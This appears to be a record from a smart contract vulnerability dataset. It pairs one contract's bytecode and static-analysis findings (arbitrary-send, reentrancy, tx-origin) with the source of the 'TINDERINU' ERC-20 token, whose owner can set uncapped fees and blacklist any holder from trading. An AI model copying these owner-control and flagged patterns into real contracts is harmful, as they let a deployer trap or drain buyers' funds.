160a01b0316146108055760405162461bcd60e51b81526004016104b39061188e565b600a54600160a01b900460ff161561085f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b3565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561089d308269152d02c7e14af6800000610c33565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d657600080fd5b505afa1580156108ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090e919061172f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095657600080fd5b505afa15801561096a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098e919061172f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109d657600080fd5b505af11580156109ea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0e919061172f565b600a80546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610a56816001600160a01b03166000908152600e602052604090205490565b600080610a6b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ace57600080fd5b505af1158015610ae2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b07919061180e565b5050600a805462ff00ff60a01b1981166201000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b7157600080fd5b505af1158015610b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba991906117ee565b5050565b600082610bbc5750600061047a565b6000610bc883856119b1565b905082610bd58583611991565b14610c2c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b3565b9392505050565b6001600160a01b038316610c955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b3565b6001600160a01b038216610cf65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b3565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dbb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b3565b6001600160a01b038216610e1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b3565b60008111610e7f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b3565b6000610e8b848461125f565b90506000610ea760ff8316610ea18560646112d5565b90610bad565b90506000610eb58483611317565b600a54909150600160b81b900460ff161561106557600a546001600160a01b0386811691161480610ef35750600a546001600160a01b038781169116145b8015610f085750600a54600160a01b900460ff165b1561106557601054600a546040516312bdf42360e01b81526001600160a01b03888116600483015291821660248201523260448201529116906312bdf42390606401602060405180830381600087803b158015610f6457600080fd5b505af1158015610f78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9c91906117ee565b15610fb95760405162461bcd60e51b81526004016104b3906118c3565b601054600a546040516312bdf42360e01b81526001600160a01b03898116600483015291821660248201523260448201529116906312bdf42390606401602060405180830381600087803b15801561101057600080fd5b505af1158015611024573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104891906117ee565b156110655760405162461bcd60e51b81526004016104b3906118c3565b61106e85611359565b15611099576007546001600160a01b0386166000908152600e60205260409020541061109957600080fd5b6110a3868661138b565b156110cf576110b286866113d3565b156110c6576005548411156110c657600080fd5b6110cf8661142a565b6001600160a01b0386166000908152600e60205260409020546110f29085611317565b6001600160a01b038088166000908152600e602052604080822093909355908716815220546111219082611459565b6001600160a01b0386166000908152600e602052604080822092909255308152205461114d9083611459565b306000908152600e602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600a54600160b81b900460ff161561121d5760105460405163b25d625960e01b81526001600160a01b03888116600483015287811660248301529091169063b25d625990604401600060405180830381600087803b15801561120457600080fd5b505af1158015611218573d6000803e3d6000fd5b505050505b505050505050565b600081848411156112495760405162461bcd60e51b81526004016104b3919061183b565b50600061125684866119d0565b95945050505050565b6001600160a01b0382166000908152600d6020526040812054819060ff16806112a057506001600160a01b0383166000908152600d602052604090205460ff165b159050806112b3576009805460ff191690555b80156112c7576009805460ff191660051790555b505060095460ff1692915050565b6000610c2c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b8565b6000610c2c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611225565b600a546000906001600160a01b0383811691161480159061047a5750506011546001600160a01b039081169116141590565b600080546001600160a01b038481169116148015906113b857506000546001600160a01b03838116911614155b8015610c2c575050600a54600160a01b900460ff1692915050565b600a546000906001600160a01b03848116911614801561140157506011546001600160a01b03838116911614155b8015610c2c5750506001600160a01b03166000908152600d602052604090205460ff1615919050565b306000908152600e6020526040902054611443826114e6565b15610ba9576114518161152b565b610ba96116d0565b6000806114668385611979565b905083811015610c2c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b3565b600081836114d95760405162461bcd60e51b81526004016104b3919061183b565b5060006112568486611991565b600a54600090600160a81b900460ff161580156115115750600a546001600160a01b03838116911614155b801561047a575050600a54600160b01b900460ff16919050565b600a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061158157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115d557600080fd5b505afa1580156115e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160d919061172f565b8160018151811061162e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526011546116549130911684610c33565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061168d908590600090869030904290600401611909565b600060405180830381600087803b1580156116a757600080fd5b505af11580156116bb573d6000803e3d6000fd5b5050600a805460ff60a81b1916905550505050565b6009546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611710573d6000803e3d6000fd5b50565b600060208284031215611724578081fd5b8135610c2c81611a38565b600060208284031215611740578081fd5b8151610c2c81611a38565b6000806040838503121561175d578081fd5b823561176881611a38565b9150602083013561177881611a38565b809150509250929050565b600080600060608486031215611797578081fd5b83356117a281611a38565b925060208401356117b281611a38565b929592945050506040919091013590565b600080604083850312156117d5578182fd5b82356117e081611a38565b946020939093013593505050565b6000602082840312156117ff578081fd5b81518015158114610c2c578182fd5b600080600060608486031215611822578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118675785810183015185820160400152820161184b565b818111156118785783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526026908201527f42656570204265657020426f6f702c20596f752772652061207069656365206f60408201526506620706f6f760d41b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119585784516001600160a01b031683529383019391830191600101611933565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198c5761198c611a22565b500190565b6000826119ac57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119cb576119cb611a22565b500290565b6000828210156119e2576119e2611a22565b500390565b600181811c908216806119fb57607f821691505b60208210811415611a1c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461171057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c062a4c27562f8dbc049d144c954b036256a21c2bd556297c1e35b49908a65364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 373 |
0x08a7b6bf390cb851990f6f2945edb3c5ef3aa314 | /**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
/*
SPDX-License-Identifier: Unlicensed
https://t.me/tinderinuportal
The answer is simple, we value your privacy much more than the disrespectful Tinder.
Have you ever realised that you are not lured into falling in love with a girl or guy but also lured into giving away all your information including locations,
interests and jobs, pictures, music tastes and most importantly who you dated to one single app.
Tinder knows your sexual preference, your fear and your weakness even more than yourself.
Can you imagine what will happen if this treasure trove of data gets hacked,
is made public or simply bought by another company? There is no difference between being seen naked in public or can be even worse.
That’s why we present you the Tinder Inu, A on chain dating app service.
The only information we take will be your wallet address and that’s all.
We won’t know your sexual preference, your favourite positon or your darkest secret.
Secure and confidential. Join us if you want to see a more secure and privacy-respecting society.
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TINDERINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TINDERINU";
string private constant _symbol = "TINDERINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x247cA0d77735212db1b34313A9dB1f4dc0406C1e);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2e9 * 10**9;
uint256 public _maxWalletSize = 2e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0);
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
} | 0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610564578063c552849014610584578063dd62ed3e146105a4578063ea1644d5146105ea578063f2fde38b1461060a57600080fd5b80638da5cb5b1461051b5780638f9a55c01461053957806395d89b41146101fe5780639e78fb4f1461054f57600080fd5b8063790ca413116100dc578063790ca413146104ba5780637c519ffb146104d05780637d1db4a5146104e5578063881dce60146104fb57600080fd5b80636fc3eaec1461045057806370a0823114610465578063715018a61461048557806374010ece1461049a57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d05780634bf2c7c9146103f05780635d098b38146104105780636d8aa8f81461043057600080fd5b80632fd689e31461035e578063313ce5671461037457806333251a0b1461039057806338eea22d146103b057600080fd5b806318160ddd116101c157806318160ddd146102e057806323b872dd1461030657806327c8f8351461032657806328bb665a1461033c57600080fd5b806306fdde03146101fe578063095ea7b31461023f5780630f3a325f1461026f5780631694505e146102a857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50604080518082018252600981526854494e444552494e5560b81b602082015290516102369190611e94565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611d3f565b61062a565b6040519015158152602001610236565b34801561027b57600080fd5b5061025f61028a366004611c8b565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b457600080fd5b506016546102c8906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102ec57600080fd5b5068056bc75e2d631000005b604051908152602001610236565b34801561031257600080fd5b5061025f610321366004611cfe565b610641565b34801561033257600080fd5b506102c861dead81565b34801561034857600080fd5b5061035c610357366004611d6b565b6106aa565b005b34801561036a57600080fd5b506102f8601a5481565b34801561038057600080fd5b5060405160098152602001610236565b34801561039c57600080fd5b5061035c6103ab366004611c8b565b610749565b3480156103bc57600080fd5b5061035c6103cb366004611e72565b6107b8565b3480156103dc57600080fd5b506017546102c8906001600160a01b031681565b3480156103fc57600080fd5b5061035c61040b366004611e59565b6107ed565b34801561041c57600080fd5b5061035c61042b366004611c8b565b61081c565b34801561043c57600080fd5b5061035c61044b366004611e37565b610876565b34801561045c57600080fd5b5061035c6108be565b34801561047157600080fd5b506102f8610480366004611c8b565b6108e8565b34801561049157600080fd5b5061035c61090a565b3480156104a657600080fd5b5061035c6104b5366004611e59565b61097e565b3480156104c657600080fd5b506102f8600a5481565b3480156104dc57600080fd5b5061035c6109ad565b3480156104f157600080fd5b506102f860185481565b34801561050757600080fd5b5061035c610516366004611e59565b610a07565b34801561052757600080fd5b506000546001600160a01b03166102c8565b34801561054557600080fd5b506102f860195481565b34801561055b57600080fd5b5061035c610a51565b34801561057057600080fd5b5061025f61057f366004611d3f565b610c36565b34801561059057600080fd5b5061035c61059f366004611e72565b610c43565b3480156105b057600080fd5b506102f86105bf366004611cc5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105f657600080fd5b5061035c610605366004611e59565b610c78565b34801561061657600080fd5b5061035c610625366004611c8b565b610cb6565b6000610637338484610da0565b5060015b92915050565b600061064e848484610ec4565b6106a0843361069b85604051806060016040528060288152602001612099602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061151e565b610da0565b5060019392505050565b6000546001600160a01b031633146106dd5760405162461bcd60e51b81526004016106d490611ee9565b60405180910390fd5b60005b81518110156107455760016009600084848151811061070157610701612057565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061073d81612026565b9150506106e0565b5050565b6000546001600160a01b031633146107735760405162461bcd60e51b81526004016106d490611ee9565b6001600160a01b03811660009081526009602052604090205460ff16156107b5576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146107e25760405162461bcd60e51b81526004016106d490611ee9565b600b91909155600d55565b6000546001600160a01b031633146108175760405162461bcd60e51b81526004016106d490611ee9565b601155565b6015546001600160a01b0316336001600160a01b03161461083c57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108a05760405162461bcd60e51b81526004016106d490611ee9565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b0316146108de57600080fd5b476107b581611558565b6001600160a01b03811660009081526002602052604081205461063b90611592565b6000546001600160a01b031633146109345760405162461bcd60e51b81526004016106d490611ee9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109a85760405162461bcd60e51b81526004016106d490611ee9565b601855565b6000546001600160a01b031633146109d75760405162461bcd60e51b81526004016106d490611ee9565b601754600160a01b900460ff16156109ee57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a2757600080fd5b610a30306108e8565b8111158015610a3f5750600081115b610a4857600080fd5b6107b581611616565b6000546001600160a01b03163314610a7b5760405162461bcd60e51b81526004016106d490611ee9565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610adb57600080fd5b505afa158015610aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b139190611ca8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5b57600080fd5b505afa158015610b6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b939190611ca8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610bdb57600080fd5b505af1158015610bef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c139190611ca8565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610637338484610ec4565b6000546001600160a01b03163314610c6d5760405162461bcd60e51b81526004016106d490611ee9565b600c91909155600e55565b6000546001600160a01b03163314610ca25760405162461bcd60e51b81526004016106d490611ee9565b601954811015610cb157600080fd5b601955565b6000546001600160a01b03163314610ce05760405162461bcd60e51b81526004016106d490611ee9565b6001600160a01b038116610d455760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d4565b6001600160a01b038216610e635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d4565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106d4565b6001600160a01b038216610f8a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106d4565b60008111610fec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106d4565b6001600160a01b0382166000908152600960205260409